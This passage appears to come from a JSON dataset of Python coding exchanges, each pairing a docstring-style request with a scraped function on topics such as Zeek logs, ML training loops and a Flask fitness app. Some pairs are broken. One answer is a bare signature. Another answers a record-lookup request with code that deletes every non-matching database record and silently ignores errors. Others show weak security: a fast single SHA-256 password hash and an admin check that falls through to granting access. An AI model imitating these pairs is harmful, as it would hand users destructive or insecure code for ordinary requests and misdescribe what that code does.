data.set_separator.decode('ascii')\n line_fields = data.fields\n fields = separator.join(line_fields.keys())\n types = separator.join(field.zeek_type for field in line_fields.values())\n file.write('#separator %s\\n' % unicode_escape(self.separator))\n file.write('#set_separator%s%s\\n' % (separator, set_separator))\n file.write('#empty_field%s%s\\n' % (separator, empty_field))\n file.write('#unset_field%s%s\\n' % (separator, unset_field))\n file.write('#path%s%s\\n' % (separator, os.path.splitext(file.name)[0]))\n file.write('#open%s%s\\n' % (separator, time.strftime(r'%Y-%m-%d-%H-%M-%S')))\n file.write('#fields%s%s\\n' % (separator, fields))\n return file.write('#types%s%s\\n' % (separator, types))", "conversation_id": 97, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 98, "message_id": 0 }, { "role": "user", "content": "Write trailing fields of ASCII log file..", "conversation_id": 98, "message_id": 1 }, { "role": "assistant", "content": "def write_tail(self, file: 'TextFile') -> int:\n return file.write('#close%s%s\\n' % (self.str_separator, time.strftime(r'%Y-%m-%d-%H-%M-%S')))", "conversation_id": 98, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 99, "message_id": 0 }, { "role": "user", "content": "Serialise records to a log line..", "conversation_id": 99, "message_id": 1 }, { "role": "assistant", "content": "def dump_file(self, data: 'Optional[Iterable[Model]]' = None, name: 'Optional[str]' = None) -> str: \n if data:\n data_iter = iter(data)\n line = next(data_iter)\n buffer = self.dump_head(line, name=name)\n buffer += self.dump_line(line, lineno=1)\n buffer += ''.join(self.dump_line(line, lineno=index)\n for index, line in enumerate(data_iter, start=2))\n else:\n buffer = self.dump_head(name=name)\n buffer += self.dump_tail()\n return buffer", "conversation_id": 99, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 100, "message_id": 0 }, { "role": "user", "content": "Serialise one-line record to a log line..", "conversation_id": 100, "message_id": 1 }, { "role": "assistant", "content": "def dump_line(self, data: Model, lineno: 'Optional[int]' = 0) -> str:\n try:\n return '%s\\n' % self.str_separator.join(data.toascii().values())\n except TypeError as error:\n raise ASCIIWriterError(str(error), lineno=lineno) from error", "conversation_id": 100, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 101, "message_id": 0 }, { "role": "user", "content": "Serialise header fields of ASCII log file..", "conversation_id": 101, "message_id": 1 }, { "role": "assistant", "content": "def dump_head(self, data: 'Optional[Model]' = None, name: 'Optional[str]' = None) -> str:\n if name is None:\n name = ''\n separator = self.str_separator\n if data is None:\n empty_field = self.str_empty_field\n unset_field = self.str_unset_field\n set_separator = self.str_set_separator\n fields = ''\n types = ''\n else:\n empty_field = data.empty_field.decode('ascii')\n unset_field = data.unset_field.decode('ascii')\n set_separator = data.set_separator.decode('ascii')\n line_fields = data.fields\n fields = separator.join(line_fields.keys())\n types = separator.join(field.zeek_type for field in line_fields.values())\n buffer = '#separator %s\\n' % unicode_escape(self.separator)\n buffer += '#set_separator%s%s\\n' % (separator, set_separator)\n buffer += '#empty_field%s%s\\n' % (separator, empty_field)\n buffer += '#unset_field%s%s\\n' % (separator, unset_field)\n buffer += '#path%s%s\\n' % (separator, os.path.splitext(name)[0])\n buffer += '#open%s%s\\n' % (separator, time.strftime(r'%Y-%m-%d-%H-%M-%S'))\n buffer += '#fields%s%s\\n' % (separator, fields)\n buffer += '#types%s%s\\n' % (separator, types)\n return buffer", "conversation_id": 101, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 102, "message_id": 0 }, { "role": "user", "content": "Serialise trailing fields of ASCII log file..", "conversation_id": 102, "message_id": 1 }, { "role": "assistant", "content": "def dump_tail(self) -> str:\n return '#close%s%s\\n' % (self.str_separator, time.strftime(r'%Y-%m-%d-%H-%M-%S'))", "conversation_id": 102, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 103, "message_id": 0 }, { "role": "user", "content": "Write Bro/Zeek log file..", "conversation_id": 103, "message_id": 1 }, { "role": "assistant", "content": "def write(data: 'Iterable[Model]', filename: 'PathLike[str]', format: str, *args: 'Any', **kwargs: 'Any') -> None: \n if format == 'ascii':\n return write_ascii(data, filename, *args, **kwargs)\n if format == 'json':\n return write_json(data, filename, *args, **kwargs)\n raise WriterFormatError('unsupported format: %s' % format)", "conversation_id": 103, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 104, "message_id": 0 }, { "role": "user", "content": "Parse log line as one-line record..", "conversation_id": 104, "message_id": 1 }, { "role": "assistant", "content": "def parse_line(self, line: bytes, lineno: 'Optional[int]' = 0,\n model: 'Optional[Type[Model]]' = None) -> 'Model':", "conversation_id": 104, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 105, "message_id": 0 }, { "role": "user", "content": "Parse log line as one-line record..", "conversation_id": 105, "message_id": 1 }, { "role": "assistant", "content": "def loads(self, line: bytes, lineno: 'Optional[int]' = 0) -> 'Model':\n return self.parse_line(line, lineno)", "conversation_id": 105, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 106, "message_id": 0 }, { "role": "user", "content": "Parse log line as one-line record..", "conversation_id": 106, "message_id": 1 }, { "role": "assistant", "content": "def parse_line(self, line: bytes, lineno: 'Optional[int]' = 0,\n model: 'Optional[Type[Model]]' = None) -> 'Model':\n try:\n data = json.loads(line) \n except json.JSONDecodeError as error:\n raise JSONParserError(error.msg, lineno) from error\n model_cls = model or self.model\n if model_cls is None:\n model_cls = new_model('', **{field: AnyType() for field in data.keys()})\n return model_cls(**data)", "conversation_id": 106, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 107, "message_id": 0 }, { "role": "user", "content": "Parse log line as one-line record..", "conversation_id": 107, "message_id": 1 }, { "role": "assistant", "content": "def parse_line(self, line: bytes, lineno: 'Optional[int]' = 0, \n model: 'Optional[Type[Model]]' = None, separator: 'Optional[bytes]' = b'\\x09',\n parser: 'Optional[List[Tuple[str, BaseType]]]' = None) -> 'Model':\n if parser is None:\n raise ASCIIPaserError(\"parse_line() missing 1 required positional argument: 'parser'\")\n data = collections.OrderedDict() \n for i, s in enumerate(line.strip().split(separator)):\n field_name, field_type = parser[i]\n try:\n data[field_name] = field_type(s)\n except ZeekValueError as error:\n raise ASCIIPaserError(str(error), lineno, field_name) from error\n if model is None:\n model = new_model('', **{field: AnyType() for field in data.keys()})\n return model(**data)", "conversation_id": 107, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 108, "message_id": 0 }, { "role": "user", "content": "Parse Bro/Zeek log file..", "conversation_id": 108, "message_id": 1 }, { "role": "assistant", "content": "def parse(filename: 'PathLike[str]', *args: 'Any', **kwargs: 'Any') -> 'Union[JSONInfo, ASCIIInfo]':\n with open(filename, 'rb') as file:\n char = file.read(1)\n if char == b'#':\n return parse_ascii(filename, *args, **kwargs)\n if char == b'{':\n return parse_json(filename, *args, **kwargs)\n raise ParserError('unknown format')", "conversation_id": 108, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 109, "message_id": 0 }, { "role": "user", "content": "Not supported for a variadic data type..", "conversation_id": 109, "message_id": 1 }, { "role": "assistant", "content": "def parse(self, data: 'Any') -> 'NoReturn':\n raise ZeekNotImplemented", "conversation_id": 109, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 110, "message_id": 0 }, { "role": "user", "content": "Not supported for a variadic data type..", "conversation_id": 110, "message_id": 1 }, { "role": "assistant", "content": "def tojson(self, data: 'Any') -> 'NoReturn':\n raise ZeekNotImplemented", "conversation_id": 110, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 111, "message_id": 0 }, { "role": "user", "content": "Not supported for a variadic data type..", "conversation_id": 111, "message_id": 1 }, { "role": "assistant", "content": "def toascii(self, data: 'Any') -> 'NoReturn':\n raise ZeekNotImplemented", "conversation_id": 111, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 112, "message_id": 0 }, { "role": "user", "content": "Serialise data model as JSON log format..", "conversation_id": 112, "message_id": 1 }, { "role": "assistant", "content": "def tojson(self) -> 'OrderedDict[str, Any]':\n fields = collections.OrderedDict()\n for field, type_cls in self.__fields__.items():\n value = getattr(self, field)\n fields[field] = type_cls.tojson(value)\n return fields", "conversation_id": 112, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 113, "message_id": 0 }, { "role": "user", "content": "Serialise data model as ASCII log format..", "conversation_id": 113, "message_id": 1 }, { "role": "assistant", "content": "def toascii(self) -> 'OrderedDict[str, str]':\n fields = collections.OrderedDict()\n for field, type_cls in self.__fields__.items():\n value = getattr(self, field)\n fields[field] = type_cls.toascii(value)\n return fields", "conversation_id": 113, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 114, "message_id": 0 }, { "role": "user", "content": "Convert data model as a dictionary mapping field names to field values..", "conversation_id": 114, "message_id": 1 }, { "role": "assistant", "content": "def asdict(self, dict_factory: 'Optional[Type[dict]]' = None) -> 'Dict[str, Any]':\n if dict_factory is None:\n dict_factory = dict\n fields = dict_factory()\n for field in self.__fields__:\n value = getattr(self, field)\n fields[field] = value\n return fields", "conversation_id": 114, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 115, "message_id": 0 }, { "role": "user", "content": "Convert data model as a tuple of field values..", "conversation_id": 115, "message_id": 1 }, { "role": "assistant", "content": "def astuple(self, tuple_factory: 'Optional[Type[tuple]]' = None) -> 'Tuple[Any, ...]':\n field_names = [] \n field_value = [] \n for field in self.__fields__:\n value = getattr(self, field)\n field_names.append(field)\n field_value.append(value)\n if tuple_factory is None:\n model_name = type(self).__name__\n named_tuple = collections.namedtuple(model_name, field_names) \n return named_tuple(*field_value)\n return tuple_factory(field_value)", "conversation_id": 115, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 116, "message_id": 0 }, { "role": "user", "content": "Create a data model dynamically with the appropriate fields..", "conversation_id": 116, "message_id": 1 }, { "role": "assistant", "content": "def new_model(name: str, **fields: 'Any') -> 'Type[Model]':\n def gen_body(ns: 'Dict[str, Any]') -> None:\n for name, type_cls in fields.items():\n ns[name] = type_cls\n return types.new_class(name, (Model,), exec_body=gen_body)", "conversation_id": 116, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 117, "message_id": 0 }, { "role": "user", "content": "Return path to local copy of PDFBox jar file..", "conversation_id": 117, "message_id": 1 }, { "role": "assistant", "content": "def _get_pdfbox_path(self):\n if 'PDFBOX' in os.environ:\n pdfbox_path = pathlib.Path(os.environ['PDFBOX'])\n if not pdfbox_path.exists():\n raise RuntimeError('pdfbox not found')\n return pdfbox_path\n a = appdirs.AppDirs('python-pdfbox')\n cache_dir = pathlib.Path(a.user_cache_dir)\n file_list = list(cache_dir.glob('pdfbox-app-*.jar'))\n if file_list:\n def f(s):\n v = re.search('pdfbox-app-([\\w\\.\\-]+)\\.jar', s.name).group(1)\n return pkg_resources.parse_version(v)\n return sorted(file_list, key=f)[-1]\n else:\n pdfbox_url = self._get_latest_pdfbox_url()\n sha512_url = pdfbox_url + '.sha512'\n r = urllib.request.urlopen(pdfbox_url)\n try:\n data = r.read()\n except:\n raise RuntimeError('error retrieving %s' % pdfbox_url)\n else:\n cache_dir.mkdir(exist_ok=True, parents=True)\n pdfbox_path = cache_dir.joinpath(pathlib.Path(pdfbox_url).name)\n with open(pdfbox_path, 'wb') as f:\n f.write(data)\n r = urllib.request.urlopen(sha512_url)\n encoding = r.headers.get_content_charset('utf-8')\n try:\n sha512 = r.read().decode(encoding).strip()\n except:\n raise RuntimeError('error retrieving sha512sum')\n else:\n if not self._verify_sha512(data, sha512):\n raise RuntimeError('failed to verify sha512sum')\n return pdfbox_path", "conversation_id": 117, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 118, "message_id": 0 }, { "role": "user", "content": "Run validation with validation data split, computes mean average\nprecision and the loss of the prediction results..", "conversation_id": 118, "message_id": 1 }, { "role": "assistant", "content": "def run_valid(self, epoch=0):\n model = self.model\n dataset = self.dataset\n device = self.device\n cfg = self.cfg\n model.eval()\n timestamp = datetime.now().strftime('%Y-%m-%d_%H:%M:%S')\n log.info(\"DEVICE : {}\".format(device))\n log_file_path = join(cfg.logs_dir, 'log_valid_' + timestamp + '.txt')\n log.info(\"Logging in file : {}\".format(log_file_path))\n log.addHandler(logging.FileHandler(log_file_path))\n batcher = ConcatBatcher(device, model.cfg.name)\n valid_dataset = dataset.get_split('validation')\n valid_split = TorchDataloader(dataset=valid_dataset,\n preprocess=model.preprocess,\n transform=model.transform,\n shuffle=True,\n steps_per_epoch=dataset.cfg.get(\n 'steps_per_epoch_valid', None))\n valid_loader = DataLoader(\n valid_split,\n batch_size=cfg.val_batch_size,\n num_workers=cfg.get('num_workers', 4),\n pin_memory=cfg.get('pin_memory', False),\n collate_fn=batcher.collate_fn,\n worker_init_fn=lambda x: np.random.seed(x + np.uint32(\n torch.utils.data.get_worker_info().seed)))\n log.info(\"Started validation\")\n slots_save_dir = cfg.slots_save_dir\n Path(f\"{slots_save_dir}/\").mkdir(parents=True, exist_ok=True)\n self.valid_losses = {}\n with torch.no_grad():\n for valid_idx, data in enumerate(\n tqdm(valid_loader, desc='validation')):\n data.to(device)\n results = model(data)\n for batch_idx, slots in enumerate(results[0]):\n slots = slots.cpu().numpy()\n num_slots = slots.shape[0]\n for i in range(num_slots):\n plt.subplot(num_slots, 1, i + 1)\n plt.imshow(slots[i], cmap='binary')\n plt.colorbar()\n plt.title(f\"Slot {i}\")\n plt.savefig(\n f\"{slots_save_dir}/epoch_{epoch}_slots_{valid_idx}_{batch_idx}.png\")\n plt.clf()\n loss = model.loss(results, data)\n for l, v in loss.items():\n if not l in self.valid_losses:\n self.valid_losses[l] = []\n self.valid_losses[l].append(v.cpu().numpy())", "conversation_id": 118, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 119, "message_id": 0 }, { "role": "user", "content": "Run training with train data split..", "conversation_id": 119, "message_id": 1 }, { "role": "assistant", "content": "def run_train(self):\n model = self.model\n device = self.device\n dataset = self.dataset\n cfg = self.cfg\n log.info(\"DEVICE : {}\".format(device))\n timestamp = datetime.now().strftime('%Y-%m-%d_%H:%M:%S')\n log_file_path = join(cfg.logs_dir, 'log_train_' + timestamp + '.txt')\n log.info(\"Logging in file : {}\".format(log_file_path))\n log.addHandler(logging.FileHandler(log_file_path))\n batcher = ConcatBatcher(device, model.cfg.name)\n train_dataset = dataset.get_split('training')\n train_split = TorchDataloader(dataset=train_dataset,\n preprocess=model.preprocess,\n transform=model.transform,\n steps_per_epoch=dataset.cfg.get(\n 'steps_per_epoch_train', None))\n train_loader = DataLoader(\n train_split,\n batch_size=cfg.batch_size,\n num_workers=cfg.get('num_workers', 4),\n pin_memory=cfg.get('pin_memory', False),\n collate_fn=batcher.collate_fn,\n worker_init_fn=lambda x: np.random.seed(x + np.uint32(\n torch.utils.data.get_worker_info().seed))\n ) \n self.optimizer, self.scheduler = model.get_optimizer(cfg.optimizer)\n is_resume = model.cfg.get('is_resume', True)\n start_ep = self.load_ckpt(model.cfg.ckpt_path, is_resume=is_resume)\n dataset_name = dataset.name if dataset is not None else ''\n tensorboard_dir = join(\n self.cfg.train_sum_dir,\n model.__class__.__name__ + '_' + dataset_name + '_torch')\n runid = get_runid(tensorboard_dir)\n self.tensorboard_dir = join(self.cfg.train_sum_dir,\n runid + '_' + Path(tensorboard_dir).name)\n writer = SummaryWriter(self.tensorboard_dir)\n self.save_config(writer)\n log.info(\"Writing summary in {}.\".format(self.tensorboard_dir))\n log.info(\"Started training\")\n for epoch in range(start_ep, cfg.max_epoch + 1):\n log.info(f'=== EPOCH {epoch:d}/{cfg.max_epoch:d} ===')\n model.train()\n self.losses = {}\n process_bar = tqdm(train_loader, desc='training')\n for data in process_bar:\n data.to(device)\n results = model(data)\n loss = model.loss(results, data)\n loss_sum = sum(loss.values())\n self.optimizer.zero_grad()\n loss_sum.backward()\n if model.cfg.get('grad_clip_norm', -1) > 0:\n torch.nn.utils.clip_grad_value_(model.parameters(),\n model.cfg.grad_clip_norm)\n self.optimizer.step()\n desc = \"training - \"\n for l, v in loss.items():\n if not l in self.losses:\n self.losses[l] = []\n self.losses[l].append(v.cpu().detach().numpy())\n desc += \" %s: %.03f\" % (l, v.cpu().detach().numpy())\n desc += \" > loss: %.03f\" % loss_sum.cpu().detach().numpy()\n process_bar.set_description(desc)\n process_bar.refresh()\n if self.scheduler is not None:\n self.scheduler.step()\n if (epoch % cfg.get(\"validation_freq\", 1)) == 0:\n self.run_valid(epoch)\n self.save_logs(writer, epoch)\n if epoch % cfg.save_ckpt_freq == 0:\n self.save_ckpt(epoch)", "conversation_id": 119, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 120, "message_id": 0 }, { "role": "user", "content": "Save experiment configuration with tensorboard summary..", "conversation_id": 120, "message_id": 1 }, { "role": "assistant", "content": "def save_config(self, writer):\n writer.add_text(\"Description/Open3D-ML\", self.cfg_tb['readme'], 0)\n writer.add_text(\"Description/Command line\", self.cfg_tb['cmd_line'], 0)\n writer.add_text('Configuration/Dataset',\n code2md(self.cfg_tb['dataset'], language='json'), 0)\n writer.add_text('Configuration/Model',\n code2md(self.cfg_tb['model'], language='json'), 0)\n writer.add_text('Configuration/Pipeline',\n code2md(self.cfg_tb['pipeline'], language='json'), 0)", "conversation_id": 120, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 121, "message_id": 0 }, { "role": "user", "content": "Reads lidar data from the path provided..", "conversation_id": 121, "message_id": 1 }, { "role": "assistant", "content": "def read_pc(path):\n assert Path(path).exists()\n return joblib.load(path)", "conversation_id": 121, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 122, "message_id": 0 }, { "role": "user", "content": "takes uuid for record of type key and returns None if not found else the doc if found..", "conversation_id": 122, "message_id": 1 }, { "role": "assistant", "content": "def remove_all_admins_not_matching_this(u, user_type=None, collection=None):\n __doc__ = None\n if (collection):\n try:\n docs = collection.find()\n for doc in docs:\n uu = doc.get(user_type) if (user_type) else None\n if (str(uu) == u):\n __doc__ = doc\n else:\n d = {'_id':doc.get('_id')}\n print('(-) Removed: {}'.format(d))\n collection.remove(d)\n except:\n pass\n return __doc__", "conversation_id": 122, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 123, "message_id": 0 }, { "role": "user", "content": "Checks if email is used in database already..", "conversation_id": 123, "message_id": 1 }, { "role": "assistant", "content": "def validate_email(self, field):\n if Runner.query.filter_by(email=field.data).count() > 0:\n raise validators.ValidationError(\"Email in Use\")\n else:\n print(\"Validate your account by going to http://127.0.0.1:5000/validate/\" + self.username.data)", "conversation_id": 123, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 124, "message_id": 0 }, { "role": "user", "content": "Checks if both password entered matches the one stored in the database,\nand if the username entered exists..", "conversation_id": 124, "message_id": 1 }, { "role": "assistant", "content": "def validate_password(self, field):\n if Runner.query.filter_by(username=self.username.data).count() == 0:\n raise validators.ValidationError(\"Incorrect Username or Password\")\n salt = Runner.query.filter_by(username=self.username.data).first().salt\n hashed_password = Runner.query.filter_by(username=self.username.data).first().hashed_password\n if password.check_password(field.data, salt, hashed_password) is not True:\n raise validators.ValidationError(\"Incorrect Username or Password\")", "conversation_id": 124, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 125, "message_id": 0 }, { "role": "user", "content": "Checks if the data the user entered is mathematically correct, and if the speed of their running is\nan acceptable speed..", "conversation_id": 125, "message_id": 1 }, { "role": "assistant", "content": "def validate_speed(self, field):\n if self.speed.data * self.hours_trained.data != self.distance.data:\n raise validators.ValidationError(\"Check your maths, your numbers are wrong!\")\n if self.speed.data > 12:\n raise validators.ValidationError(\"Are you sure your ran that fast?\")", "conversation_id": 125, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 126, "message_id": 0 }, { "role": "user", "content": "Checks if the data the user entered is mathematically correct, and if the speed of their cycling is\nan acceptable speed..", "conversation_id": 126, "message_id": 1 }, { "role": "assistant", "content": "def validate_speed(self, field):\n if self.speed.data * self.hours_trained.data != self.distance.data:\n raise validators.ValidationError(\"Check your maths, your numbers are wrong!\")\n if self.speed.data > 25:\n raise validators.ValidationError(\"Are you sure you cycled that fast?\")", "conversation_id": 126, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 127, "message_id": 0 }, { "role": "user", "content": "Returns the hashed password and a randomly generated salt..", "conversation_id": 127, "message_id": 1 }, { "role": "assistant", "content": "def hash_password(password):\n password = password.encode(\"utf-8\") \n salt = base64.b64encode(os.urandom(32)) \n hashed_password = hashlib.sha256(salt + password).hexdigest() \n return hashed_password, salt", "conversation_id": 127, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 128, "message_id": 0 }, { "role": "user", "content": "Hashes the password the user provides and checks it against the stored hash..", "conversation_id": 128, "message_id": 1 }, { "role": "assistant", "content": "def check_password(password, salt, hashed_password):\n password = password.encode(\"utf-8\") \n return hashlib.sha256(salt + password).hexdigest() == hashed_password", "conversation_id": 128, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 129, "message_id": 0 }, { "role": "user", "content": "Generates the percentage width of the progress bars on the Web App homepage..", "conversation_id": 129, "message_id": 1 }, { "role": "assistant", "content": "def homepage_progress(current_user):\n def add_up_distance(training_type, username):\n data = 0\n x = Training.query.filter_by(training_type=training_type, username=username).all()\n for i in x:\n data += i.distance\n return data\n def add_calories(username):\n data = 0\n for i in Training.query.filter_by(username=username).all():\n data += i.calories_burnt\n return data\n def top_distance(training_type):\n data = 0\n for user in Runner.query.order_by(Runner.username):\n x = add_up_distance(training_type, user.username)\n if x > data:\n data = x\n return data\n def top_calories():\n data = 0\n for user in Runner.query.order_by(Runner.username):\n x = add_calories(user.username)\n if x > data:\n data = x\n return data\n def calculate_percentage(top, user):\n if user == 0:\n return 10\n percent = (((user - top) / top) * 90)\n if percent < 0:\n percent *= -1\n if percent <= 10:\n return 10\n else:\n return percent\n percentages = {\"calories\": calculate_percentage(top_calories(), add_calories(current_user.username)),\n \"running\": calculate_percentage(top_distance(\"running\"), add_up_distance(\"running\",\n current_user.username)),\n \"cycling\": calculate_percentage(top_distance(\"cycling\"), add_up_distance(\"cycling\",\n current_user.username)),\n \"swimming\": calculate_percentage(top_distance(\"swimming\"), add_up_distance(\"swimming\",\n current_user.username))}\n return percentages", "conversation_id": 129, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 130, "message_id": 0 }, { "role": "user", "content": "Custom function that checks if the user is an Admin. Based off of the standard Flask-Login @login_required..", "conversation_id": 130, "message_id": 1 }, { "role": "assistant", "content": "def admin_required(func):\n @wraps(func)\n def decorated_view(*args, **kwargs):\n if current_user.admin is True:\n return func(*args, **kwargs)\n elif current_user.admin is None or current_user.admin is False:\n return Response(\"You are not permitted to access this page!\", 401)\n return func(*args, **kwargs)\n return decorated_view", "conversation_id": 130, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 131, "message_id": 0 }, { "role": "user", "content": "Parses a relative path to tensorflow event file to a reasonable neptune-compatible name.", "conversation_id": 131, "message_id": 1 }, { "role": "assistant", "content": "def parse_path_to_experiment_name(path):\n experiment_name = os.path.dirname(path)\n if experiment_name:\n return experiment_name\n else:\n return \"untitled-tensorboard\"", "conversation_id": 131, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 132, "message_id": 0 }, { "role": "user", "content": "Parses a relative path to tensorflow event file to a hostname.", "conversation_id": 132, "message_id": 1 }, { "role": "assistant", "content": "def parse_path_to_hostname(path):\n file_name = os.path.basename(path)\n if file_name.startswith(_EVENTS_FILE_PREFIX):\n timestamp_and_hostname = file_name[len(_EVENTS_FILE_PREFIX):]\n separator_index = timestamp_and_hostname.find('.')\n if separator_index >= 0:\n return timestamp_and_hostname[(separator_index + 1):]\n else:\n return None\n else:\n return None", "conversation_id": 132, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 133, "message_id": 0 }, { "role": "user", "content": "Import TensorFlow event files to Neptune\\n\nPATH is a directory where Neptune will look to find TensorFlow event files that it can import.\nNeptune will recursively walk the directory structure rooted at logdir, looking for .*tfevents.* files..", "conversation_id": 133, "message_id": 1 }, { "role": "assistant", "content": "def sync(project, path):\n import warnings\n warnings.simplefilter(action='ignore', category=FutureWarning)\n from neptune_tensorboard.sync.sync import sync as run_sync\n return run_sync(project=project, path=path)", "conversation_id": 133, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 134, "message_id": 0 }, { "role": "user", "content": "Use the Django builtin static file resolver to return an absolute path\nusable as CSS url() argument. Sass equivalent of the 'static' template\ntag..", "conversation_id": 134, "message_id": 1 }, { "role": "assistant", "content": "def static(path):\n return django_static(path)", "conversation_id": 134, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 135, "message_id": 0 }, { "role": "user", "content": "Perform sass.compile, but with the appropriate include_paths for Django added.", "conversation_id": 135, "message_id": 1 }, { "role": "assistant", "content": "def compile(**kwargs):\n kwargs = kwargs.copy()\n if PRECISION is not None:\n kwargs['precision'] = PRECISION\n kwargs['include_paths'] = (kwargs.get('include_paths') or []) + get_include_paths()\n custom_functions = CUSTOM_FUNCTIONS.copy()\n custom_functions.update(kwargs.get('custom_functions', {}))\n kwargs['custom_functions'] = custom_functions\n if SOURCEMAPS and kwargs.get('filename', None):\n base_path = os.path.dirname(kwargs['filename'])\n sourcemap_filename = os.path.join(base_path, 'sourcemap.map')\n kwargs['source_map_filename'] = sourcemap_filename\n libsass_output, sourcemap = sass.compile(**kwargs)\n sourcemap = prefix_sourcemap(sourcemap, base_path)\n output = embed_sourcemap(libsass_output, sourcemap)\n else:\n output = sass.compile(**kwargs)\n return output", "conversation_id": 135, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 136, "message_id": 0 }, { "role": "user", "content": "Wait for a key press on the console and return it..", "conversation_id": 136, "message_id": 1 }, { "role": "assistant", "content": "def wait_key(message = ''):\n if message != '':\n print (message)\n result = None\n if os.name == 'nt':\n import msvcrt\n result = msvcrt.getch()\n else:\n import termios\n fd = sys.stdin.fileno()\n oldterm = termios.tcgetattr(fd)\n newattr = termios.tcgetattr(fd)\n newattr[3] = newattr[3] & ~termios.ICANON & ~termios.ECHO\n termios.tcsetattr(fd, termios.TCSANOW, newattr)\n try:\n result = sys.stdin.read(1)\n except IOError:\n pass\n finally:\n termios.tcsetattr(fd, termios.TCSAFLUSH, oldterm)\n return result", "conversation_id": 136, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 137, "message_id": 0 }, { "role": "user", "content": "image must be numpy array H X W X channels.", "conversation_id": 137, "message_id": 1 }, { "role": "assistant", "content": "def write_png(filename, image):\n import zlib, struct\n buf = image.flatten().tobytes()\n width = image.shape[1]\n height = image.shape[0]\n width_byte_4 = width * 4\n raw_data = b''.join(b'\\x00' + buf[span:span + width_byte_4]\n for span in range((height - 1) * width_byte_4, -1, - width_byte_4))\n def png_pack(png_tag, data):\n chunk_head = png_tag + data\n return (struct.pack(\"!I\", len(data)) +\n chunk_head +\n struct.pack(\"!I\", 0xFFFFFFFF & zlib.crc32(chunk_head)))\n png_bytes = b''.join([\n b'\\x89PNG\\r\\n\\x1a\\n',\n png_pack(b'IHDR', struct.pack(\"!2I5B\", width, height, 8, 6, 0, 0, 0)),\n png_pack(b'IDAT', zlib.compress(raw_data, 9)),\n png_pack(b'IEND', b'')])\n AirSimClientBase.write_file(filename, png_bytes)", "conversation_id": 137, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 138, "message_id": 0 }, { "role": "user", "content": "Data map generator for simulator(AirSim) data. Reads 